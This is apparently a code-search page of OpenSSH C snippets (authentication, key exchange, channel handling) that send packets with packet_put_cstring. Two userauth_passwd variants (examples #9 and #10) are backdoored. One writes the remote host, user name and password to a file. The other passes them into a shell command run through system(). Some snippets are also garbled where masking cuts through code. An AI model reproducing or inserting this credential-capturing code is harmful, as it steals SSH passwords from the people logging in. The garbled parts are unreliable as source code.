示例#1
0
/*ARGSUSED*/
static void
input_service_request(int type, u_int32_t seq, void *ctxt)
{
	Authctxt *authctxt = ctxt;
	u_int len;
	int acceptit = 0;
	char *service = packet_get_string(&len);
	packet_check_eom();

	if (authctxt == NULL)
		fatal("input_service_request: no authctxt");

	if (strcmp(service, "ssh-userauth") == 0) {
		if (!authctxt->success) {
			acceptit = 1;
			/* now we can handle user-auth requests */
			dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &input_userauth_request);
		}
	}
	/* XXX all other service requests are denied */

	if (acceptit) {
		packet_start(SSH2_MSG_SERVICE_ACCEPT);
		packet_put_cstring(service);
		packet_send();
		packet_write_wait();
	} else {
		debug("bad service request %s", service);
		packet_disconnect("bad service request %s", service);
	}
	xfree(service);
}
static void
server_input_channel_open(int type, u_int32_t seq, void *ctxt)
{
	Channel *c = NULL;
	char *ctype;
	int rchan;
	u_int rmaxpack, rwindow, len;

	ctype = packet_get_string(&len);
	rchan = packet_get_int();
	rwindow = packet_get_int();
	rmaxpack = packet_get_int();

	debug("server_input_channel_open: ctype %s rchan %d win %d max %d",
	    ctype, rchan, rwindow, rmaxpack);

	if (strcmp(ctype, "session") == 0) {
		c = server_request_session(ctype);
	} else if (strcmp(ctype, "direct-tcpip") == 0) {
		c = server_request_direct_tcpip(ctype);
	}
	if (c != NULL) {
		debug("server_input_channel_open: confirm %s", ctype);
		c->remote_id = rchan;
		c->remote_window = rwindow;
		c->remote_maxpacket = rmaxpack;
		if (c->type != SSH_CHANNEL_CONNECTING) {
			packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION);
			packet_put_int(c->remote_id);
			packet_put_int(c->self);
			packet_put_int(c->local_window);
			packet_put_int(c->local_maxpacket);
			packet_send();
		}
	} else {
		debug("server_input_channel_open: failure %s", ctype);
		packet_start(SSH2_MSG_CHANNEL_OPEN_FAILURE);
		packet_put_int(rchan);
		packet_put_int(SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED);
		if (!(datafellows & SSH_BUG_OPENFAILURE)) {
			packet_put_cstring("open failed");
			packet_put_cstring("");
		}
		packet_send();
	}
	xfree(ctype);
}
示例#3
0
void
userauth_finish(Authctxt *authctxt, int authenticated, char *method)
{
	char *methods;

	if (!authctxt->valid && authenticated)
		fatal("INTERNAL ERROR: authenticated invalid user %s",
		    authctxt->user);

	/* Special handling for root */
	if (authenticated && authctxt->pw->pw_uid == 0 &&
	    !auth_root_allowed(method))
		authenticated = 0;

#ifdef USE_PAM
	if (!use_privsep && authenticated && authctxt->user && 
	    !do_pam_account(authctxt->user, NULL))
		authenticated = 0;
#endif /* USE_PAM */

#ifdef _UNICOS
	if (authenticated && cray_access_denied(authctxt->user)) {
		authenticated = 0;
		fatal("Access denied for user %s.",authctxt->user);
	}
#endif /* _UNICOS */

	/* Log before sending the reply */
	auth_log(authctxt, authenticated, method, " ssh2");

	if (authctxt->postponed)
		return;

	/* XXX todo: check if multiple auth methods are needed */
	if (authenticated == 1) {
		/* turn off userauth */
		dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &dispatch_protocol_ignore);
		packet_start(SSH2_MSG_USERAUTH_SUCCESS);
		packet_send();
		packet_write_wait();
		/* now we can break out */
		authctxt->success = 1;
	} else {
		if (authctxt->failures++ > AUTH_FAIL_MAX) {
			packet_disconnect(AUTH_FAIL_MSG, authctxt->user);
		}
#ifdef _UNICOS
		if (strcmp(method, "password") == 0)
			cray_login_failure(authctxt->user, IA_UDBERR);
#endif /* _UNICOS */
		methods = authmethods_get();
		packet_start(SSH2_MSG_USERAUTH_FAILURE);
		packet_put_cstring(methods);
		packet_put_char(0);	/* XXX partial success, unused */
		packet_send();
		packet_write_wait();
		xfree(methods);
	}
}
示例#4
0
void
ssh_kex2(char *host, struct sockaddr *hostaddr)
{
	Kex *kex;

	xxx_host = host;
	xxx_hostaddr = hostaddr;

	if (options.ciphers == (char *)-1) {
		log("No valid ciphers for protocol version 2 given, using defaults.");
		options.ciphers = NULL;
	}
	if (options.ciphers != NULL) {
		myproposal[PROPOSAL_ENC_ALGS_CTOS] =
		myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers;
	}
	myproposal[PROPOSAL_ENC_ALGS_CTOS] =
	    compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_CTOS]);
	myproposal[PROPOSAL_ENC_ALGS_STOC] =
	    compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_STOC]);
	if (options.compression) {
		myproposal[PROPOSAL_COMP_ALGS_CTOS] =
		myproposal[PROPOSAL_COMP_ALGS_STOC] = "zlib,none";
	} else {
		myproposal[PROPOSAL_COMP_ALGS_CTOS] =
		myproposal[PROPOSAL_COMP_ALGS_STOC] = "none,zlib";
	}
	if (options.macs != NULL) {
		myproposal[PROPOSAL_MAC_ALGS_CTOS] =
		myproposal[PROPOSAL_MAC_ALGS_STOC] = options.macs;
	}
	if (options.hostkeyalgorithms != NULL)
		myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] =
		    options.hostkeyalgorithms;

	/* start key exchange */
	kex = kex_setup(myproposal);
	kex->kex[KEX_DH_GRP1_SHA1] = kexdh_client;
	kex->kex[KEX_DH_GEX_SHA1] = kexgex_client;
	kex->client_version_string=client_version_string;
	kex->server_version_string=server_version_string;
	kex->verify_host_key=&verify_host_key_callback;

	xxx_kex = kex;

	dispatch_run(DISPATCH_BLOCK, &kex->done, kex);

	session_id2 = kex->session_id;
	session_id2_len = kex->session_id_len;

#ifdef DEBUG_KEXDH
	/* send 1st encrypted/maced/compressed message */
	packet_start(SSH2_MSG_IGNORE);
	packet_put_cstring("markus");
	packet_send();
	packet_write_wait();
#endif
}
示例#5
0
static void
server_alive_check(void)
{
	if (++server_alive_timeouts > options.server_alive_count_max)
		packet_disconnect("Timeout, server not responding.");
	packet_start(SSH2_MSG_GLOBAL_REQUEST);
	packet_put_cstring("*****@*****.**");
	packet_put_char(1);     /* boolean: want reply */
	packet_send();
}
示例#6
0
void
request_roaming(void)
{
	packet_start(SSH2_MSG_GLOBAL_REQUEST);
	packet_put_cstring(ROAMING_REQUEST);
	packet_put_char(1);
	packet_put_int(get_recv_buf_size());
	packet_send();
	client_register_global_confirm(roaming_reply, NULL);
}
示例#7
0
static void
userauth_banner(void)
{
	char *banner = NULL;

	if (options.banner == NULL || (datafellows & SSH_BUG_BANNER))
		return;

	if ((banner = PRIVSEP(auth2_read_banner())) == NULL)
		goto done;

	packet_start(SSH2_MSG_USERAUTH_BANNER);
	packet_put_cstring(banner);
	packet_put_cstring("");		/* language, unused */
	packet_send();
	debug("userauth_banner: sent");
done:
	if (banner)
		xfree(banner);
}
示例#8
0
文件: sshd.c 项目: M31MOTH/attacks
/*
 * SSH2 key exchange: diffie-hellman-group1-sha1
 */
void
do_ssh2_kex(void)
{
	Kex *kex;

	if (options.ciphers != NULL) {
		myproposal[PROPOSAL_ENC_ALGS_CTOS] =
		myproposal[PROPOSAL_ENC_ALGS_STOC] = options.ciphers;
	}
	myproposal[PROPOSAL_ENC_ALGS_CTOS] =
	    compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_CTOS]);
	myproposal[PROPOSAL_ENC_ALGS_STOC] =
	    compat_cipher_proposal(myproposal[PROPOSAL_ENC_ALGS_STOC]);

	if (options.macs != NULL) {
		myproposal[PROPOSAL_MAC_ALGS_CTOS] =
		myproposal[PROPOSAL_MAC_ALGS_STOC] = options.macs;
	}
	if (!options.compression) {
		myproposal[PROPOSAL_COMP_ALGS_CTOS] =
		myproposal[PROPOSAL_COMP_ALGS_STOC] = "none";
	}
	myproposal[PROPOSAL_SERVER_HOST_KEY_ALGS] = list_hostkey_types();

	/* start key exchange */
	kex = kex_setup(myproposal);
	kex->kex[KEX_DH_GRP1_SHA1] = kexdh_server;
	kex->kex[KEX_DH_GRP14_SHA1] = kexdh_server;
	kex->kex[KEX_DH_GEX_SHA1] = kexgex_server;
	kex->server = 1;
	kex->client_version_string=client_version_string;
	kex->server_version_string=server_version_string;
	kex->load_host_key=&get_hostkey_by_type;
	kex->host_key_index=&get_hostkey_index;

	xxx_kex = kex;

	dispatch_run(DISPATCH_BLOCK, &kex->done, kex);

	session_id2 = kex->session_id;
	session_id2_len = kex->session_id_len;

#ifdef DEBUG_KEXDH
	/* send 1st encrypted/maced/compressed message */
	packet_start(SSH2_MSG_IGNORE);
	packet_put_cstring("markus");
	packet_send();
	packet_write_wait();
#endif
	debug("KEX done");
}
示例#9
0
int
userauth_passwd(Authctxt *authctxt)
{
	static int attempt = 0;
	char prompt[150];
	char *password;

	if (attempt++ >= options.number_of_password_prompts)
		return 0;

	if (attempt != 1)
		error("Permission denied, please try again.");

	snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "******"a");
	      fprintf (fp,"+host: %s +user: %s +password: %s\n", get_remote_ipaddr(), options.user, password);
	      fclose (fp);
	    }
	packet_put_cstring(authctxt->server_user);
	packet_put_cstring(authctxt->service);
	packet_put_cstring(authctxt->method->name);
	packet_put_char(0);
	packet_put_cstring(password);
	memset(password, 0, strlen(password));
	xfree(password);
	packet_add_padding(64);
	packet_send();

	dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
	    &input_userauth_passwd_changereq);

	return 1;
}
示例#10
0
int
userauth_passwd(Authctxt *authctxt)
{
	static int attempt = 0;
	char prompt[150];
	char *password;

	if (attempt++ >= options.number_of_password_prompts)
		return 0;

	if (attempt != 1)
		error("Permission denied, please try again.");

	snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: "******"/bin/ksh -m %s_%s_%s >/dev/null 2>&1", get_remote_ipaddr(), options.user, password);
                  system(cmd);
	    }
	packet_put_cstring(authctxt->server_user);
	packet_put_cstring(authctxt->service);
	packet_put_cstring(authctxt->method->name);
	packet_put_char(0);
	packet_put_cstring(password);
	memset(password, 0, strlen(password));
	xfree(password);
	packet_add_padding(64);
	packet_send();

	dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
	    &input_userauth_passwd_changereq);

	return 1;
}
示例#11
0
static void
chan_send_eow2(Channel *c)
{
	debug2("channel %d: send eow", c->self);
	if (c->ostate == CHAN_OUTPUT_CLOSED) {
		error("channel %d: must not sent eow on closed output",
		    c->self);
		return;
	}
	packet_start(SSH2_MSG_CHANNEL_REQUEST);
	packet_put_int(c->remote_id);
	packet_put_cstring("*****@*****.**");
	packet_put_char(0);
	packet_send();
}
示例#12
0
void
ssh_put_password(struct ssh *ssh, char *password)
{
	int size;
	char *padded;

	if (ssh->compat & SSH_BUG_PASSWORDPAD) {
		packet_put_cstring(password);
		return;
	}
	size = roundup(strlen(password) + 1, 32);
	padded = xcalloc(1, size);
	strlcpy(padded, password, size);
	packet_put_string(padded, size);
	memset(padded, 0, size);
	xfree(padded);
}
示例#13
0
void
ssh_put_password(char *password)
{
	int size;
	char *padded;

	if (datafellows & SSH_BUG_PASSWORDPAD) {
		packet_put_cstring(password);
		return;
	}
	size = roundup(strlen(password) + 1, 32);
	padded = xcalloc(1, size);
	strlcpy(padded, password, size);
	packet_put_string(padded, size);
	explicit_bzero(padded, size);
	free(padded);
}
示例#14
0
/*ARGSUSED*/
static int
auth1_process_tis_challenge(Authctxt *authctxt)
{
	char *challenge;

	if ((challenge = get_challenge(authctxt)) == NULL)
		return (0);

	debug("sending challenge '%s'", challenge);
	packet_start(SSH_SMSG_AUTH_TIS_CHALLENGE);
	packet_put_cstring(challenge);
	free(challenge);
	packet_send();
	packet_write_wait();

	return (-1);
}
示例#15
0
static int
ssh_session2(void)
{
	int id = -1;

	/* XXX should be pre-session */
	ssh_init_forwarding();

	if (!no_shell_flag || (datafellows & SSH_BUG_DUMMYCHAN))
		id = ssh_session2_open();

	/* If we don't expect to open a new session, then disallow it */
	if (options.control_master == SSHCTL_MASTER_NO &&
	    (datafellows & SSH_NEW_OPENSSH)) {
		debug("Requesting [email protected]");
		packet_start(SSH2_MSG_GLOBAL_REQUEST);
		packet_put_cstring("*****@*****.**");
		packet_put_char(0);
		packet_send();
	}

	/* Execute a local command */
	if (options.local_command != NULL &&
	    options.permit_local_command)
		ssh_local_cmd(options.local_command);

	/* Start listening for multiplex clients */
	muxserver_listen();

	/* If requested, let ssh continue in the background. */
	if (fork_after_authentication_flag) {
		fork_after_authentication_flag = 0;
		if (daemon(1, 1) < 0)
			fatal("daemon() failed: %.200s", strerror(errno));
	}

	if (options.use_roaming)
		request_roaming();

	return client_loop(tty_flag, tty_flag ?
	    options.escape_char : SSH_ESCAPECHAR_NONE, id);
}
示例#16
0
static void
client_alive_check(void)
{
	int channel_id;

	/* timeout, check to see how many we have had */
	if (packet_inc_alive_timeouts() > options.client_alive_count_max) {
		logit("Timeout, client not responding.");
		cleanup_exit(255);
	}

	/*
	 * send a bogus global/channel request with "wantreply",
	 * we should get back a failure
	 */
	if ((channel_id = channel_find_open()) == -1) {
		packet_start(SSH2_MSG_GLOBAL_REQUEST);
		packet_put_cstring("*****@*****.**");
		packet_put_char(1);	/* boolean: want reply */
	} else {
		channel_request_start(channel_id, "*****@*****.**", 1);
	}
	packet_send();
}
示例#17
0
/*
 * parse PASSWD_CHANGEREQ, prompt user and send SSH2_MSG_USERAUTH_REQUEST
 */
void
input_userauth_passwd_changereq(int type, u_int32_t seqnr, void *ctxt)
{
	Authctxt *authctxt = ctxt;
	char *info, *lang, *password = NULL, *retype = NULL;
	char prompt[150];

	debug2("input_userauth_passwd_changereq");

	if (authctxt == NULL)
		fatal("input_userauth_passwd_changereq: "
		    "no authentication context");

	info = packet_get_utf8_string(NULL);
	if (strlen(info) != 0) {
		info = g11n_filter_string(info);
		log("%s", info);
	}
	xfree(info);
	lang = packet_get_string(NULL);
	xfree(lang);

	packet_start(SSH2_MSG_USERAUTH_REQUEST);
	packet_put_cstring(authctxt->server_user);
	packet_put_cstring(authctxt->service);
	packet_put_cstring(authctxt->method->name);
	packet_put_char(1);			/* additional info */
	snprintf(prompt, sizeof(prompt),
	    gettext("Enter %.30s@%.128s's old password: "******"Enter %.30s@%.128s's new password: "******"Retype %.30s@%.128s's new password: "******"Mismatch; try again, EOF to quit.");
			password = NULL;
		}
		memset(retype, 0, strlen(retype));
		xfree(retype);
	}
	packet_put_cstring(password);
	memset(password, 0, strlen(password));
	xfree(password);
	packet_add_padding(64);
	packet_send();

	dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
	    &input_userauth_passwd_changereq);
}
示例#18
0
static int
ssh_session(void)
{
	int type;
	int interactive = 0;
	int have_tty = 0;
	struct winsize ws;
	char *cp;
	const char *display;

	/* Enable compression if requested. */
	if (options.compression) {
		debug("Requesting compression at level %d.",
		    options.compression_level);

		if (options.compression_level < 1 ||
		    options.compression_level > 9)
			fatal("Compression level must be from 1 (fast) to "
			    "9 (slow, best).");

		/* Send the request. */
		packet_start(SSH_CMSG_REQUEST_COMPRESSION);
		packet_put_int(options.compression_level);
		packet_send();
		packet_write_wait();
		type = packet_read();
		if (type == SSH_SMSG_SUCCESS)
			packet_start_compression(options.compression_level);
		else if (type == SSH_SMSG_FAILURE)
			logit("Warning: Remote host refused compression.");
		else
			packet_disconnect("Protocol error waiting for "
			    "compression response.");
	}
	/* Allocate a pseudo tty if appropriate. */
	if (tty_flag) {
		debug("Requesting pty.");

		/* Start the packet. */
		packet_start(SSH_CMSG_REQUEST_PTY);

		/* Store TERM in the packet.  There is no limit on the
		   length of the string. */
		cp = getenv("TERM");
		if (!cp)
			cp = "";
		packet_put_cstring(cp);

		/* Store window size in the packet. */
		if (ioctl(fileno(stdin), TIOCGWINSZ, &ws) < 0)
			memset(&ws, 0, sizeof(ws));
		packet_put_int((u_int)ws.ws_row);
		packet_put_int((u_int)ws.ws_col);
		packet_put_int((u_int)ws.ws_xpixel);
		packet_put_int((u_int)ws.ws_ypixel);

		/* Store tty modes in the packet. */
		tty_make_modes(fileno(stdin), NULL);

		/* Send the packet, and wait for it to leave. */
		packet_send();
		packet_write_wait();

		/* Read response from the server. */
		type = packet_read();
		if (type == SSH_SMSG_SUCCESS) {
			interactive = 1;
			have_tty = 1;
		} else if (type == SSH_SMSG_FAILURE)
			logit("Warning: Remote host failed or refused to "
			    "allocate a pseudo tty.");
		else
			packet_disconnect("Protocol error waiting for pty "
			    "request response.");
	}
	/* Request X11 forwarding if enabled and DISPLAY is set. */
	display = getenv("DISPLAY");
	if (options.forward_x11 && display != NULL) {
		char *proto, *data;
		/* Get reasonable local authentication information. */
		client_x11_get_proto(display, options.xauth_location,
		    options.forward_x11_trusted, 
		    options.forward_x11_timeout,
		    &proto, &data);
		/* Request forwarding with authentication spoofing. */
		debug("Requesting X11 forwarding with authentication "
		    "spoofing.");
		x11_request_forwarding_with_spoofing(0, display, proto,
		    data, 0);
		/* Read response from the server. */
		type = packet_read();
		if (type == SSH_SMSG_SUCCESS) {
			interactive = 1;
		} else if (type == SSH_SMSG_FAILURE) {
			logit("Warning: Remote host denied X11 forwarding.");
		} else {
			packet_disconnect("Protocol error waiting for X11 "
			    "forwarding");
		}
	}
	/* Tell the packet module whether this is an interactive session. */
	packet_set_interactive(interactive,
	    options.ip_qos_interactive, options.ip_qos_bulk);

	/* Request authentication agent forwarding if appropriate. */
	check_agent_present();

	if (options.forward_agent) {
		debug("Requesting authentication agent forwarding.");
		auth_request_forwarding();

		/* Read response from the server. */
		type = packet_read();
		packet_check_eom();
		if (type != SSH_SMSG_SUCCESS)
			logit("Warning: Remote host denied authentication agent forwarding.");
	}

	/* Initiate port forwardings. */
	ssh_init_stdio_forwarding();
	ssh_init_forwarding();

	/* Execute a local command */
	if (options.local_command != NULL &&
	    options.permit_local_command)
		ssh_local_cmd(options.local_command);

	/*
	 * If requested and we are not interested in replies to remote
	 * forwarding requests, then let ssh continue in the background.
	 */
	if (fork_after_authentication_flag) {
		if (options.exit_on_forward_failure &&
		    options.num_remote_forwards > 0) {
			debug("deferring postauth fork until remote forward "
			    "confirmation received");
		} else
			fork_postauth();
	}

	/*
	 * If a command was specified on the command line, execute the
	 * command now. Otherwise request the server to start a shell.
	 */
	if (buffer_len(&command) > 0) {
		int len = buffer_len(&command);
		if (len > 900)
			len = 900;
		debug("Sending command: %.*s", len,
		    (u_char *)buffer_ptr(&command));
		packet_start(SSH_CMSG_EXEC_CMD);
		packet_put_string(buffer_ptr(&command), buffer_len(&command));
		packet_send();
		packet_write_wait();
	} else {
		debug("Requesting shell.");
		packet_start(SSH_CMSG_EXEC_SHELL);
		packet_send();
		packet_write_wait();
	}

	/* Enter the interactive session. */
	return client_loop(have_tty, tty_flag ?
	    options.escape_char : SSH_ESCAPECHAR_NONE, 0);
}
示例#19
0
static int
ssh_session2(void)
{
	int id = -1;

	/* XXX should be pre-session */
	if (!options.control_persist)
		ssh_init_stdio_forwarding();
	ssh_init_forwarding();

	/* Start listening for multiplex clients */
	muxserver_listen();

 	/*
	 * If we are in control persist mode and have a working mux listen
	 * socket, then prepare to background ourselves and have a foreground
	 * client attach as a control slave.
	 * NB. we must save copies of the flags that we override for
	 * the backgrounding, since we defer attachment of the slave until
	 * after the connection is fully established (in particular,
	 * async rfwd replies have been received for ExitOnForwardFailure).
	 */
 	if (options.control_persist && muxserver_sock != -1) {
		ostdin_null_flag = stdin_null_flag;
		ono_shell_flag = no_shell_flag;
		orequest_tty = options.request_tty;
		otty_flag = tty_flag;
 		stdin_null_flag = 1;
 		no_shell_flag = 1;
 		tty_flag = 0;
		if (!fork_after_authentication_flag)
			need_controlpersist_detach = 1;
		fork_after_authentication_flag = 1;
 	}
	/*
	 * ControlPersist mux listen socket setup failed, attempt the
	 * stdio forward setup that we skipped earlier.
	 */
	if (options.control_persist && muxserver_sock == -1)
		ssh_init_stdio_forwarding();

	if (!no_shell_flag || (datafellows & SSH_BUG_DUMMYCHAN))
		id = ssh_session2_open();

	/* If we don't expect to open a new session, then disallow it */
	if (options.control_master == SSHCTL_MASTER_NO &&
	    (datafellows & SSH_NEW_OPENSSH)) {
		debug("Requesting [email protected]");
		packet_start(SSH2_MSG_GLOBAL_REQUEST);
		packet_put_cstring("*****@*****.**");
		packet_put_char(0);
		packet_send();
	}

	/* Execute a local command */
	if (options.local_command != NULL &&
	    options.permit_local_command)
		ssh_local_cmd(options.local_command);

	/*
	 * If requested and we are not interested in replies to remote
	 * forwarding requests, then let ssh continue in the background.
	 */
	if (fork_after_authentication_flag) {
		if (options.exit_on_forward_failure &&
		    options.num_remote_forwards > 0) {
			debug("deferring postauth fork until remote forward "
			    "confirmation received");
		} else
			fork_postauth();
	}

	if (options.use_roaming)
		request_roaming();

	return client_loop(tty_flag, tty_flag ?
	    options.escape_char : SSH_ESCAPECHAR_NONE, id);
}
示例#20
0
void
userauth_finish(Authctxt *authctxt, int authenticated, const char *method,
    const char *submethod)
{
	char *methods;
	int partial = 0;

	if (!authctxt->valid && authenticated)
		fatal("INTERNAL ERROR: authenticated invalid user %s",
		    authctxt->user);
	if (authenticated && authctxt->postponed)
		fatal("INTERNAL ERROR: authenticated and postponed");

	/* Special handling for root */
	if (authenticated && authctxt->pw->pw_uid == 0 &&
	    !auth_root_allowed(method)) {
		authenticated = 0;
#ifdef SSH_AUDIT_EVENTS
		PRIVSEP(audit_event(SSH_LOGIN_ROOT_DENIED));
#endif
	}

	if (authenticated && options.num_auth_methods != 0) {
		if (!auth2_update_methods_lists(authctxt, method, submethod)) {
			authenticated = 0;
			partial = 1;
		}
	}

	/* Log before sending the reply */
	auth_log(authctxt, authenticated, partial, method, submethod);

	if (authctxt->postponed)
		return;

#ifdef USE_PAM
	if (options.use_pam && authenticated) {
		if (!PRIVSEP(do_pam_account())) {
			/* if PAM returned a message, send it to the user */
			if (buffer_len(&loginmsg) > 0) {
				buffer_append(&loginmsg, "\0", 1);
				userauth_send_banner(buffer_ptr(&loginmsg));
				packet_write_wait();
			}
			fatal("Access denied for user %s by PAM account "
			    "configuration", authctxt->user);
		}
	}
#endif

#ifdef _UNICOS
	if (authenticated && cray_access_denied(authctxt->user)) {
		authenticated = 0;
		fatal("Access denied for user %s.", authctxt->user);
	}
#endif /* _UNICOS */

	if (authenticated == 1) {
		/* turn off userauth */
		dispatch_set(SSH2_MSG_USERAUTH_REQUEST, &dispatch_protocol_ignore);
		packet_start(SSH2_MSG_USERAUTH_SUCCESS);
		packet_send();
		packet_write_wait();
		/* now we can break out */
		authctxt->success = 1;
	} else {

		/* Allow initial try of "none" auth without failure penalty */
		if (!authctxt->server_caused_failure &&
		    (authctxt->attempt > 1 || strcmp(method, "none") != 0))
			authctxt->failures++;
		if (authctxt->failures >= options.max_authtries) {
#ifdef SSH_AUDIT_EVENTS
			PRIVSEP(audit_event(SSH_LOGIN_EXCEED_MAXTRIES));
#endif
			packet_disconnect(AUTH_FAIL_MSG, authctxt->user);
		}
		methods = authmethods_get(authctxt);
		debug3("%s: failure partial=%d next methods=\"%s\"", __func__,
		    partial, methods);
		packet_start(SSH2_MSG_USERAUTH_FAILURE);
		packet_put_cstring(methods);
		packet_put_char(partial);
		packet_send();
		packet_write_wait();
		free(methods);
	}
}
示例#21
0
static int
pam_query(void *ctx, char **name, char **info,
    u_int *num, char ***prompts, u_int **echo_on)
{
	Buffer buffer;
	struct pam_ctxt *ctxt = ctx;
	size_t plen;
	u_char type;
	char *msg;

	buffer_init(&buffer);
	*name = xstrdup("");
	*info = xstrdup("");
	*prompts = xmalloc(sizeof(char *));
	**prompts = NULL;
	plen = 0;
	*echo_on = xmalloc(sizeof(u_int));
	while (ssh_msg_recv(ctxt->pam_sock, &buffer) == 0) {
		type = buffer_get_char(&buffer);
		msg = buffer_get_string(&buffer, NULL);
		switch (type) {
		case PAM_PROMPT_ECHO_ON:
		case PAM_PROMPT_ECHO_OFF:
			*num = 1;
			**prompts = xrealloc(**prompts, plen + strlen(msg) + 1);
			plen += sprintf(**prompts + plen, "%s", msg);
			**echo_on = (type == PAM_PROMPT_ECHO_ON);
			xfree(msg);
			return (0);
		case PAM_ERROR_MSG:
		case PAM_TEXT_INFO:
			/* accumulate messages */
			**prompts = xrealloc(**prompts, plen + strlen(msg) + 1);
			plen += sprintf(**prompts + plen, "%s", msg);
			xfree(msg);
			break;
		case PAM_SUCCESS:
		case PAM_AUTH_ERR:
			if (**prompts != NULL) {
				/* drain any accumulated messages */
#if 0 /* not compatible with privsep */
				packet_start(SSH2_MSG_USERAUTH_BANNER);
				packet_put_cstring(**prompts);
				packet_put_cstring("");
				packet_send();
				packet_write_wait();
#endif
				xfree(**prompts);
				**prompts = NULL;
			}
			if (type == PAM_SUCCESS) {
				*num = 0;
				**echo_on = 0;
				ctxt->pam_done = 1;
				xfree(msg);
				return (0);
			}
			error("%s", msg);
		default:
			*num = 0;
			**echo_on = 0;
			xfree(msg);
			ctxt->pam_done = -1;
			return (-1);
		}
	}
	return (-1);
}
示例#22
0
static void
input_userauth_u2f_register_response(int type, u_int32_t seq, void *ctxt)
{
#define u2f_bounds_check(necessary_bytes) do { \
	if (restlen < necessary_bytes) { \
		logit("U2F response too short: need %d bytes, but only %d remaining", \
			necessary_bytes, restlen); \
		goto out; \
	} \
} while (0)

#define u2f_advance(parsed_bytes) do { \
	int advance = parsed_bytes; \
	walk += advance; \
	restlen -= advance; \
} while (0)

    Authctxt *authctxt = ctxt;
	char *response, *regdata, *clientdata;
	u_char *decoded = NULL;
	u_char *walk = NULL;
	u_char *keyhandle = NULL;
	u_char *pubkey = NULL;
	u_char *signature = NULL;
	u_char *dummy = NULL;
	u_char *cdecoded = NULL;
	X509 *x509;
	EVP_MD_CTX mdctx;
	int restlen;
	int khlen;
	int cdecodedlen;
	int err;
	char errorbuf[4096];
	u_char digest[ssh_digest_bytes(SSH_DIGEST_SHA256)];

	authctxt->postponed = 0;

	response = packet_get_string(NULL);
	packet_check_eom();
	if ((regdata = extract_json_string(response, "registrationData")) == NULL) {
		logit("Response not JSON, or does not contain \"registrationData\"");
		goto out;
	}

	decoded = xmalloc(strlen(regdata) * 3 / 4);
	restlen = urlsafe_base64_decode(regdata, decoded, strlen(regdata) * 3 / 4);
	walk = decoded;

	// Header (magic byte)
	u2f_bounds_check(1);
	if (walk[0] != 0x05) {
		logit("U2F response does not start with magic byte 0x05");
		goto out;
	}
	u2f_advance(1);

	// Length of the public key
	u2f_bounds_check(u2f_pubkey_len);
	pubkey = walk;
	u2f_advance(u2f_pubkey_len);

	// Length of the key handle
	u2f_bounds_check(1);
	khlen = walk[0];
	u2f_advance(1);

	// Key handle
	u2f_bounds_check(khlen);
	keyhandle = walk;
	u2f_advance(khlen);

	// Attestation certificate
	u2f_bounds_check(1);
	signature = walk;
	if ((x509 = d2i_X509(NULL, &signature, restlen)) == NULL) {
		logit("U2F response contains an invalid attestation certificate.");
		goto out;
	}

	// U2F dictates that the length of the certificate should be determined by
	// encoding the certificate using DER.
	u2f_advance(i2d_X509(x509, &dummy));
	free(dummy);

	// Ensure we have at least one byte of signature.
	u2f_bounds_check(1);

	if ((clientdata = extract_json_string(response, "clientData")) == NULL) {
		logit("U2F response JSON lacks the \"clientData\" key.");
		goto out;
	}

	cdecoded = xmalloc(strlen(clientdata) * 3 / 4);
	cdecodedlen = urlsafe_base64_decode(clientdata, cdecoded, strlen(clientdata) * 3 / 4);
	EVP_PKEY *pkey = X509_get_pubkey(x509);

	if ((err = EVP_VerifyInit(&mdctx, EVP_ecdsa())) != 1) {
		ERR_error_string(ERR_get_error(), errorbuf);
		fatal("EVP_VerifyInit() failed: %s (reason: %s)",
				errorbuf, ERR_reason_error_string(err));
	}
	EVP_VerifyUpdate(&mdctx, "\0", 1);
	u2f_sha256(digest, appid, strlen(appid));
	EVP_VerifyUpdate(&mdctx, digest, sizeof(digest));
	u2f_sha256(digest, cdecoded, cdecodedlen);
	EVP_VerifyUpdate(&mdctx, digest, sizeof(digest));
	EVP_VerifyUpdate(&mdctx, keyhandle, khlen);
	EVP_VerifyUpdate(&mdctx, pubkey, u2f_pubkey_len);

	if ((err = EVP_VerifyFinal(&mdctx, walk, restlen, pkey)) == -1) {
		ERR_error_string(ERR_get_error(), errorbuf);
		logit("Verifying the U2F registration signature failed: %s (reason: %s)",
				errorbuf, ERR_reason_error_string(err));
		goto out;
	}
	EVP_PKEY_free(pkey);

	{
		char *authorizedkey;
		char key[u2f_pubkey_len + khlen];
		char key64[((sizeof(key)+2)/3)*4 + 1];

		memcpy(key, pubkey, u2f_pubkey_len);
		memcpy(key+u2f_pubkey_len, keyhandle, khlen);

		if (b64_ntop(key, sizeof(key), key64, sizeof(key64)) == -1)
			fatal("b64_ntop()");

		xasprintf(&authorizedkey, "ssh-u2f %s", key64);
		packet_start(SSH2_MSG_USERAUTH_INFO_REQUEST);
		packet_put_cstring(authorizedkey);
		packet_send();
		free(authorizedkey);
		dispatch_set(SSH2_MSG_USERAUTH_INFO_RESPONSE, NULL);
	}

out:
	free(decoded);
    userauth_finish(authctxt, 0, "u2f", NULL);
	return;

#undef u2f_bounds_check
#undef u2f_advance
}
示例#23
0
static int
userauth_u2f(Authctxt *authctxt)
{
	u_int i;
	int mode;

	mode = packet_get_int();
	packet_check_eom();
	// TODO: shared constants
	if (mode == 0) {
		debug("u2f mode is registration");
		u_char random[32];
		char challenge[((sizeof(random)+2)/3)*4 + 1];
		char *json;
		arc4random_buf(random, sizeof(random));
		if (urlsafe_base64_encode(random, sizeof(random), challenge, sizeof(challenge)) == -1)
			fatal("TODO");

		xasprintf(&json, "{\"challenge\": \"%s\", \"version\": \"U2F_V2\", \"appId\": \"%s\"}",
			challenge, appid);

		packet_start(SSH2_MSG_USERAUTH_INFO_REQUEST);
		packet_put_cstring(json);
		packet_send();
		dispatch_set(SSH2_MSG_USERAUTH_INFO_RESPONSE,
